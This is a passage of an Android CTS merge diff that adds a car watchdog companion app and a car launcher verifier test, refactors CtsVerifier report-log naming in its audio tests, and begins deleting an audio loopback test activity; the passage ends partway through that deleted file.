Merge "Change VideoDecoderPerfTest semantics for mainline" am: 1dd6b532a5 am: bc1ad7d786
Original change: https://android-review.googlesource.com/c/platform/cts/+/2045377
Change-Id: Ia36f1b83cf94abd6817ca9a990c71eb9e867ec05
Signed-off-by: Automerger Merge Worker <android-build-automerger-merge-worker@system.gserviceaccount.com>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp b/apps/CarWatchdogCompanionApp/Android.bp
similarity index 69%
rename from hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
rename to apps/CarWatchdogCompanionApp/Android.bp
index ec76abd..a87902a 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
+++ b/apps/CarWatchdogCompanionApp/Android.bp
@@ -1,4 +1,5 @@
-// Copyright (C) 2021 The Android Open Source Project
+//
+// Copyright (C) 2022 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -11,25 +12,19 @@
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
+//
package {
default_applicable_licenses: ["Android-Apache-2.0"],
}
android_test_helper_app {
- name: "CVE-2021-0481",
- defaults: ["cts_support_defaults"],
+ name: "CtsCarWatchdogCompanionApp",
+ defaults: ["cts_defaults"],
srcs: ["src/**/*.java"],
+ sdk_version: "current",
test_suites: [
"cts",
- "vts10",
- "sts",
+ "general-tests",
],
- static_libs: [
- "androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
- "androidx.test.core",
- "androidx.appcompat_appcompat",
- ],
- sdk_version: "current",
}
diff --git a/apps/CarWatchdogCompanionApp/AndroidManifest.xml b/apps/CarWatchdogCompanionApp/AndroidManifest.xml
new file mode 100644
index 0000000..a263539
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/AndroidManifest.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.car.watchdog_companionapp">
+
+ <application android:label="CtsCarWatchdogCompanionApp">
+ <activity android:name=".CarWatchdogCompanionActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ <meta-data android:name="distractionOptimized" android:value="true"/>
+ </activity>
+ </application>
+</manifest>
diff --git a/apps/CarWatchdogCompanionApp/OWNERS b/apps/CarWatchdogCompanionApp/OWNERS
new file mode 100644
index 0000000..b1bb28d
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 608533
+felipeal@google.com
+jahdiel@google.com
+keunyoung@google.com
+lakshmana@google.com
diff --git a/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml b/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml
new file mode 100644
index 0000000..c24cca9
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<TextView xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/text"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:textSize="20sp"
+ android:gravity="center"
+ android:text="@string/car_watchdog_companion_activity_text" />
diff --git a/apps/CarWatchdogCompanionApp/res/values/strings.xml b/apps/CarWatchdogCompanionApp/res/values/strings.xml
new file mode 100644
index 0000000..341483f
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <string name="car_watchdog_companion_activity_text">
+ Welcome to the CTS Verifier Car Watchdog Companion App!
+ </string>
+</resources>
diff --git a/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java b/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java
new file mode 100644
index 0000000..4c7fa82
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.car.watchdog_companionapp;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+/**
+ * A minimal application for Car's CTS Verifier Tests.
+ */
+public class CarWatchdogCompanionActivity extends Activity {
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.car_watchdog_companion_activity);
+ }
+}
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 407828d..c4ee0e1 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -5311,6 +5311,20 @@
android:value="multi_display_mode" />
</activity>
+ <activity android:name=".car.CarLauncherTestActivity"
+ android:exported="true"
+ android:label="@string/car_launcher_test">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_car" />
+ <meta-data android:name="test_required_features"
+ android:value="android.hardware.type.automotive"/>
+ <meta-data android:name="display_mode"
+ android:value="multi_display_mode" />
+ </activity>
+
<!-- 6DoF sensor test -->
<activity
android:name="com.android.cts.verifier.sensors.sixdof.Activities.StartActivity"
diff --git a/apps/CtsVerifier/res/layout/car_launcher_test_main.xml b/apps/CtsVerifier/res/layout/car_launcher_test_main.xml
new file mode 100644
index 0000000..675e610
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/car_launcher_test_main.xml
@@ -0,0 +1,59 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical"
+ android:gravity="center_horizontal"
+ style="@style/RootLayoutPadding">
+
+ <ScrollView
+ android:layout_width="match_parent"
+ android:layout_height="0dp"
+ android:layout_weight="1"
+ android:orientation="vertical">
+
+ <LinearLayout
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:gravity="center_horizontal"
+ android:orientation="vertical" >
+
+ <TextView
+ android:id="@+id/car_launcher_test_description"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:padding="10dp"
+ android:text="@string/car_launcher_test_desc"
+ style="@style/InstructionsSmallFont"/>
+
+ <Button
+ android:id="@+id/car_launcher_test_button"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/car_launcher_test_button_label"
+ android:layout_margin="24dp"/>
+ </LinearLayout>
+ </ScrollView>
+
+ <include
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_weight="0"
+ layout="@layout/pass_fail_buttons" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 06d4a78..907238b 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -180,6 +180,24 @@
framework correctly tries to open the CAR_DOCK app again.</string>
<string name="car_mode_enable">Enable Car Mode</string>
<string name="car_dock_activity_text">Press the Home button</string>
+ <string name="car_launcher_test">Car Launcher Test</string>
+ <string name="car_launcher_test_desc">This test ensures that the car launcher lists apps
+ disabled by car service due to system resource overuse.\n\n
+ <b>
+ Before proceeding, check if \'com.android.cts.car.watchdog_companionapp\'
+ (aka CtsCarWatchdogCompanionApp) is installed by going to Settings > Apps. If not,
+ please install the app before proceeding.\n\n
+ </b>
+ 1. Check if the CtsCarWatchdogCompanionApp is visible in car launcher\'s app grid view. If
+ it is not listed, pass the test.\n
+ 2. Run the
+ \'adb shell cmd car_service watchdog-resource-overuse-kill com.android.cts.car.watchdog_companionapp\'
+ shell command to disable the app because of system resource overuse.\n
+ 3. Click on \"Open Launcher\". Make sure the CtsCarWatchdogCompanionApp is displayed. If it
+ is not listed, fail the test.\n
+ 4. Open CtsCarWatchdogCompanionApp from the launcher.\n\n
+ Pass the test only if the companion app opened successfully.</string>
+ <string name="car_launcher_test_button_label">Open Launcher</string>
<string name="gear_selection_test">Gear Selection Test</string>
<string name="gear_selection_test_desc">This test ensures that the
GEAR_SELECTION property is implemented correctly.\n\nShift the car\'s
@@ -4232,6 +4250,34 @@
<string name="disallow_outgoing_beam">Disallow outgoing beam</string>
<string name="disallow_outgoing_beam_action">Switching on android beam</string>
<string name="disallow_remove_user">Disallow remove user</string>
+ <string name="check_new_user_disclaimer">Check new user disclaimer</string>
+ <string name="check_new_user_disclaimer_info">
+ Please do the following: \n\n
+ 1. Check persistent notification for managed device \n\n
+ a). Open the notification UI, verify that there is a notification saying the device is managed.\n
+ b). Tap the notification\n
+ c). It should show a dialog explaining the device is managed and asking the user to accept \n
+ d). Don\'t accept initially and tap outside the dialog \n
+ e). Open the notification UI again, verify that the managed device notification is still shown \n
+ \n
+ f). Click \"Set Org\", and open the notification UI again, verify that the organization name
+ \"Foo, Inc\" is shown on the dialog \n
+ \n\n
+ 2. Check adding account is restricted\n\n
+ a) Click \"Go\" to launch the \"Profiles & accounts\" setting \n
+ b) navigate to \"Add account\" \n
+ \n
+ Expected: \n
+ - \"Add account\" is disabled \n
+ - Click the button will launch the new user disclaimer dialog\n
+ \n
+ c) Click accept button\n
+ \n
+ Expected: \n
+ - the screen will be dismissed \n
+ - \"Add account\" will be enabled\n
+ - Click the button will take user to the screen to add account \n
+ </string>
<string name="device_owner_disallow_remove_user_info">
Please press \'Create uninitialized user\' to create a user that is not set up. Then press the
\'Set restriction\' button to set the user restriction.
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
index 4bd642d..0294ff7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
@@ -70,7 +70,10 @@
private static final String INFO_DIALOG_MESSAGE_ID = "infoDialogMessageId";
// ReportLog file for CTS-Verifier. The "stream" name gets mapped to the test class name.
- private static final String REPORT_LOG_NAME = "CTS-Verifier-Log";
+ public static final String GENERAL_TESTS_REPORT_LOG_NAME = "CtsVerifierGeneralTestCases";
+ public static final String AUDIO_TESTS_REPORT_LOG_NAME = "CtsVerifierAudioTestCases";
+
+ private static final String SECTION_UNDEFINED = "undefined_section_name";
// Interface mostly for making documentation and refactoring easier...
public interface PassFailActivity {
@@ -112,10 +115,16 @@
void setTestResultAndFinish(boolean passed);
/**
- * @return A unique name (derived from the test class name) to serve as a section
- * header in the CtsVerifierReportLog file.
+ * @return The name of the file to store the (suite of) ReportLog information.
*/
- String getReportSectionName();
+ public String getReportFileName();
+
+ /**
+ * @return A unique name to serve as a section header in the CtsVerifierReportLog file.
+ * Tests need to conform to the underscore_delineated_name standard for use with
+ * the protobuff/json ReportLog parsing in Google3
+ */
+ public String getReportSectionName();
/**
* Test subclasses can override this to record their CtsVerifierReportLogs.
@@ -138,7 +147,7 @@
private final TestResultHistoryCollection mHistoryCollection;
public Activity() {
- this.mReportLog = new CtsVerifierReportLog(REPORT_LOG_NAME, getReportSectionName());
+ this.mReportLog = new CtsVerifierReportLog(getReportFileName(), getReportSectionName());
this.mHistoryCollection = new TestResultHistoryCollection();
}
@@ -202,9 +211,15 @@
return mReportLog;
}
+ /**
+ * @return The name of the file to store the (suite of) ReportLog information.
+ */
@Override
- public final String getReportSectionName() {
- return setTestNameSuffix(sCurrentDisplayMode, getClass().getName());
+ public String getReportFileName() { return GENERAL_TESTS_REPORT_LOG_NAME; }
+
+ @Override
+ public String getReportSectionName() {
+ return setTestNameSuffix(sCurrentDisplayMode, SECTION_UNDEFINED);
}
@Override
@@ -240,7 +255,7 @@
private final TestResultHistoryCollection mHistoryCollection;
public ListActivity() {
- this.mReportLog = new CtsVerifierReportLog(REPORT_LOG_NAME, getReportSectionName());
+ this.mReportLog = new CtsVerifierReportLog(getReportFileName(), getReportSectionName());
this.mHistoryCollection = new TestResultHistoryCollection();
}
@@ -286,9 +301,15 @@
return mReportLog;
}
+ /**
+ * @return The name of the file to store the (suite of) ReportLog information.
+ */
@Override
- public final String getReportSectionName() {
- return setTestNameSuffix(sCurrentDisplayMode, getClass().getName());
+ public String getReportFileName() { return GENERAL_TESTS_REPORT_LOG_NAME; }
+
+ @Override
+ public String getReportSectionName() {
+ return setTestNameSuffix(sCurrentDisplayMode, SECTION_UNDEFINED);
}
@Override
@@ -326,9 +347,9 @@
public TestListActivity() {
// TODO(b/186555602): temporary hack^H^H^H^H workaround to fix crash
// This DOES NOT in fact fix that bug.
- // if (true) this.mReportLog = new CtsVerifierReportLog(REPORT_LOG_NAME, "42"); else
+ // if (true) this.mReportLog = new CtsVerifierReportLog(b/186555602, "42"); else
- this.mReportLog = new CtsVerifierReportLog(REPORT_LOG_NAME, getReportSectionName());
+ this.mReportLog = new CtsVerifierReportLog(getReportFileName(), getReportSectionName());
}
@Override
@@ -373,11 +394,18 @@
return mReportLog;
}
+ /**
+ * @return The name of the file to store the (suite of) ReportLog information.
+ */
@Override
- public final String getReportSectionName() {
- return setTestNameSuffix(sCurrentDisplayMode, getClass().getName());
+ public String getReportFileName() { return GENERAL_TESTS_REPORT_LOG_NAME; }
+
+ @Override
+ public String getReportSectionName() {
+ return setTestNameSuffix(sCurrentDisplayMode, SECTION_UNDEFINED);
}
+
/**
* Get existing test history to aggregate.
*/
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
index 6233f2c..37921e0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
@@ -52,6 +52,9 @@
import org.hyphonate.megaaudio.player.PlayerBuilder;
import org.hyphonate.megaaudio.player.sources.SinAudioSourceProvider;
+import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
+import static com.android.cts.verifier.TestListAdapter.setTestNameSuffix;
+
public class AnalogHeadsetAudioActivity
extends PassFailButtons.Activity
implements View.OnClickListener {
@@ -105,6 +108,17 @@
JavaPlayer mAudioPlayer;
+ // ReportLog Schema
+ private static final String SECTION_ANALOG_HEADSET = "analog_headset_activity";
+ private static final String KEY_HAS_HEADSET_PORT = "has_headset_port";
+ private static final String KEY_HEADSET_PLUG_INTENT_STATE = "intent_received_state";
+ private static final String KEY_CLAIMS_HEADSET_PORT = "claims_headset_port";
+ private static final String KEY_HEADSET_CONNECTED = "headset_connected";
+ private static final String KEY_KEYCODE_HEADSETHOOK = "keycode_headset_hook";
+ private static final String KEY_KEYCODE_PLAY_PAUSE = "keycode_play_pause";
+ private static final String KEY_KEYCODE_VOLUME_UP = "keycode_volume_up";
+ private static final String KEY_KEYCODE_VOLUME_DOWN = "keycode_volume_down";
+
public AnalogHeadsetAudioActivity() {
super();
}
@@ -186,10 +200,26 @@
}
}
+ //
+ // PassFailButtons Overrides
+ //
+ @Override
+ public String getReportFileName() { return PassFailButtons.AUDIO_TESTS_REPORT_LOG_NAME; }
+
+ @Override
+ public final String getReportSectionName() {
+ return setTestNameSuffix(sCurrentDisplayMode, SECTION_ANALOG_HEADSET);
+ }
+
+ @Override
+ public void recordTestResults() {
+ getReportLog().submit();
+ }
+
private void reportHeadsetPort(boolean has) {
mHasHeadsetPort = has;
getReportLog().addValue(
- "User Reports Headset Port",
+ KEY_HAS_HEADSET_PORT,
has ? 1 : 0,
ResultType.NEUTRAL,
ResultUnit.NONE);
@@ -247,7 +277,7 @@
}
getReportLog().addValue(
- "ACTION_HEADSET_PLUG Intent Received. State: ",
+ KEY_HEADSET_PLUG_INTENT_STATE,
state,
ResultType.NEUTRAL,
ResultUnit.NONE);
@@ -264,7 +294,7 @@
getPassButton().setEnabled(calculatePass());
getReportLog().addValue(
- "User reported headset/headphones playback",
+ KEY_CLAIMS_HEADSET_PORT,
success ? 1 : 0,
ResultType.NEUTRAL,
ResultUnit.NONE);
@@ -389,19 +419,18 @@
if (devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET ||
devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADPHONES) {
mHeadsetDeviceInfo = devInfo;
-
- getReportLog().addValue(
- (devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET
- ? "Headset" : "Headphones") + " connected",
- 0,
- ResultType.NEUTRAL,
- ResultUnit.NONE);
break;
}
}
reportHeadsetPort(mHeadsetDeviceInfo != null);
+ getReportLog().addValue(
+ KEY_HEADSET_CONNECTED,
+ mHeadsetDeviceInfo != null ? 1 : 0,
+ ResultType.NEUTRAL,
+ ResultUnit.NONE);
+
showConnectedDevice();
}
@@ -445,7 +474,7 @@
showKeyMessagesState();
getPassButton().setEnabled(calculatePass());
getReportLog().addValue(
- "KEYCODE_HEADSETHOOK", 1, ResultType.NEUTRAL, ResultUnit.NONE);
+ KEY_KEYCODE_HEADSETHOOK, 1, ResultType.NEUTRAL, ResultUnit.NONE);
break;
case KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE:
@@ -453,7 +482,7 @@
showKeyMessagesState();
getPassButton().setEnabled(calculatePass());
getReportLog().addValue(
- "KEYCODE_MEDIA_PLAY_PAUSE", 1, ResultType.NEUTRAL, ResultUnit.NONE);
+ KEY_KEYCODE_PLAY_PAUSE, 1, ResultType.NEUTRAL, ResultUnit.NONE);
break;
case KeyEvent.KEYCODE_VOLUME_UP:
@@ -461,7 +490,7 @@
showKeyMessagesState();
getPassButton().setEnabled(calculatePass());
getReportLog().addValue(
- "KEYCODE_VOLUME_UP", 1, ResultType.NEUTRAL, ResultUnit.NONE);
+ KEY_KEYCODE_VOLUME_UP, 1, ResultType.NEUTRAL, ResultUnit.NONE);
break;
case KeyEvent.KEYCODE_VOLUME_DOWN:
@@ -469,7 +498,7 @@
showKeyMessagesState();
getPassButton().setEnabled(calculatePass());
getReportLog().addValue(
- "KEYCODE_VOLUME_DOWN", 1, ResultType.NEUTRAL, ResultUnit.NONE);
+ KEY_KEYCODE_VOLUME_DOWN, 1, ResultType.NEUTRAL, ResultUnit.NONE);
break;
}
return super.onKeyDown(keyCode, event);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
deleted file mode 100644
index 78e34d3..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
+++ /dev/null
@@ -1,686 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio;
-
-import android.app.AlertDialog;
-import android.media.AudioDeviceCallback;
-import android.media.AudioDeviceInfo;
-import android.media.AudioManager;
-import android.media.MediaRecorder;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Message;
-import android.util.Log;
-import android.view.View;
-import android.view.View.OnClickListener;
-import android.view.ViewGroup;
-import android.widget.Button;
-import android.widget.ProgressBar;
-import android.widget.SeekBar;
-import android.widget.TextView;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.audio.audiolib.AudioSystemFlags;
-import com.android.cts.verifier.audio.audiolib.StatUtils;
-import com.android.cts.verifier.audio.audiolib.AudioUtils;
-import com.android.cts.verifier.CtsVerifierReportLog;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
-import static com.android.cts.verifier.TestListAdapter.setTestNameSuffix;
-
-/**
- * Base class for testing activitiees that require audio loopback hardware..
- */
-public class AudioLoopbackBaseActivity extends PassFailButtons.Activity {
- private static final String TAG = "AudioLoopbackBaseActivity";
-
- // JNI load
- static {
- try {
- System.loadLibrary("audioloopback_jni");
- } catch (UnsatisfiedLinkError e) {
- Log.e(TAG, "Error loading Audio Loopback JNI library");
- Log.e(TAG, "e: " + e);
- e.printStackTrace();
- }
-
- /* TODO: gracefully fail/notify if the library can't be loaded */
- }
- protected AudioManager mAudioManager;
-
- // UI
- TextView mInputDeviceTxt;
- TextView mOutputDeviceTxt;
-
- TextView mAudioLevelText;
- SeekBar mAudioLevelSeekbar;
-
- TextView mTestPathTxt;
-
- TextView mResultText;
- ProgressBar mProgressBar;
- int mMaxLevel;
-
- OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
- protected Button mTestButton;
-
- String mYesString;
- String mNoString;
-
- // These flags determine the maximum allowed latency
- private boolean mClaimsProAudio;
- private boolean mClaimsOutput;
- private boolean mClaimsInput;
-
- // Useful info
- private boolean mSupportsMMAP = AudioUtils.isMMapSupported();
- private boolean mSupportsMMAPExclusive = AudioUtils.isMMapExclusiveSupported();
-
- // Peripheral(s)
- boolean mIsPeripheralAttached; // CDD ProAudio section C-1-3
- AudioDeviceInfo mOutputDevInfo;
- AudioDeviceInfo mInputDevInfo;
-
- protected static final int TESTPERIPHERAL_INVALID = -1;
- protected static final int TESTPERIPHERAL_NONE = 0;
- protected static final int TESTPERIPHERAL_ANALOG_JACK = 1;
- protected static final int TESTPERIPHERAL_USB = 2;
- protected static final int TESTPERIPHERAL_DEVICE = 3; // device speaker + mic
- protected int mTestPeripheral = TESTPERIPHERAL_NONE;
-
- // Loopback Logic
- NativeAnalyzerThread mNativeAnalyzerThread = null;
-
- protected static final int NUM_TEST_PHASES = 5;
- protected int mTestPhase = 0;
-
- protected double[] mLatencyMillis = new double[NUM_TEST_PHASES];
- protected double[] mConfidence = new double[NUM_TEST_PHASES];
-
- protected double mMeanLatencyMillis;
- protected double mMeanAbsoluteDeviation;
- protected double mMeanConfidence;
-
- protected static final double CONFIDENCE_THRESHOLD = 0.6;
- // impossibly low latencies (indicating something in the test went wrong).
- protected static final float EPSILON = 1.0f;
- protected static final double PROAUDIO_RECOMMENDED_LATENCY_MS = 20.0;
- protected static final double PROAUDIO_RECOMMENDED_USB_LATENCY_MS = 25.0;
- protected static final double PROAUDIO_MUST_LATENCY_MS = 20.0;
- protected static final double BASIC_RECOMMENDED_LATENCY_MS = 50.0;
- protected static final double BASIC_MUST_LATENCY_MS = 800.0;
- protected double mMustLatency;
- protected double mRecommendedLatency;
-
- // The audio stream callback threads should stop and close
- // in less than a few hundred msec. This is a generous timeout value.
- private static final int STOP_TEST_TIMEOUT_MSEC = 2 * 1000;
-
- //
- // Common UI Handling
- //
- private void connectLoopbackUI() {
- // Connected Device
- mInputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackInputLbl));
- mOutputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackOutputLbl));
-
- mAudioLevelText = (TextView)findViewById(R.id.audio_loopback_level_text);
- mAudioLevelSeekbar = (SeekBar)findViewById(R.id.audio_loopback_level_seekbar);
- mMaxLevel = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
- mAudioLevelSeekbar.setMax(mMaxLevel);
- mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, (int)(0.7 * mMaxLevel), 0);
- refreshLevel();
-
- mAudioLevelSeekbar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() {
- @Override
- public void onStopTrackingTouch(SeekBar seekBar) {}
-
- @Override
- public void onStartTrackingTouch(SeekBar seekBar) {}
-
- @Override
- public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
- mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC,
- progress, 0);
- Log.i(TAG,"Level set to: " + progress);
- refreshLevel();
- }
- });
-
- mResultText = (TextView)findViewById(R.id.audio_loopback_results_text);
- mProgressBar = (ProgressBar)findViewById(R.id.audio_loopback_progress_bar);
- showWait(false);
- }
-
- //
- // Peripheral Connection Logic
- //
- protected void scanPeripheralList(AudioDeviceInfo[] devices) {
- // CDD Section C-1-3: USB port, host-mode support
-
- // Can't just use the first record because then we will only get
- // Source OR sink, not both even on devices that are both.
- mOutputDevInfo = null;
- mInputDevInfo = null;
-
- // Any valid peripherals
- // Do we leave in the Headset test to support a USB-Dongle?
- for (AudioDeviceInfo devInfo : devices) {
- if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE || // USB Peripheral
- devInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET || // USB dongle+LBPlug
- devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET || // Loopback Plug?
- devInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) { // Aux-cable loopback?
- if (devInfo.isSink()) {
- mOutputDevInfo = devInfo;
- }
- if (devInfo.isSource()) {
- mInputDevInfo = devInfo;
- }
- } else {
- handleDeviceConnection(devInfo);
- }
- }
-
- // need BOTH input and output to test
- mIsPeripheralAttached = mOutputDevInfo != null && mInputDevInfo != null;
- calculateTestPeripheral();
- showConnectedAudioPeripheral();
- calculateLatencyThresholds();
- displayLatencyThresholds();
- }
-
- protected void handleDeviceConnection(AudioDeviceInfo deviceInfo) {
- // NOP
- }
-
- private class ConnectListener extends AudioDeviceCallback {
- /*package*/ ConnectListener() {}
-
- //
- // AudioDevicesManager.OnDeviceConnectionListener
- //
- @Override
- public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
- scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
- }
-
- @Override
- public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
- scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
- }
- }
-
- private void calculateTestPeripheral() {
- if (!mIsPeripheralAttached) {
- if ((mOutputDevInfo != null && mInputDevInfo == null)
- || (mOutputDevInfo == null && mInputDevInfo != null)) {
- mTestPeripheral = TESTPERIPHERAL_INVALID;
- } else {
- mTestPeripheral = TESTPERIPHERAL_DEVICE;
- }
- } else if (!areIODevicesOnePeripheral()) {
- mTestPeripheral = TESTPERIPHERAL_INVALID;
- } else if (mInputDevInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE ||
- mInputDevInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET) {
- mTestPeripheral = TESTPERIPHERAL_USB;
- } else if (mInputDevInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET ||
- mInputDevInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) {
- mTestPeripheral = TESTPERIPHERAL_ANALOG_JACK;
- } else {
- // Huh?
- Log.e(TAG, "No valid peripheral found!?");
- mTestPeripheral = TESTPERIPHERAL_NONE;
- }
- }
-
- private boolean isPeripheralValidForTest() {
- return mTestPeripheral == TESTPERIPHERAL_ANALOG_JACK
- || mTestPeripheral == TESTPERIPHERAL_USB;
- }
-
- private void showConnectedAudioPeripheral() {
- mInputDeviceTxt.setText(
- mInputDevInfo != null ? mInputDevInfo.getProductName().toString()
- : "Not connected");
- mOutputDeviceTxt.setText(
- mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString()
- : "Not connected");
-
- String pathName;
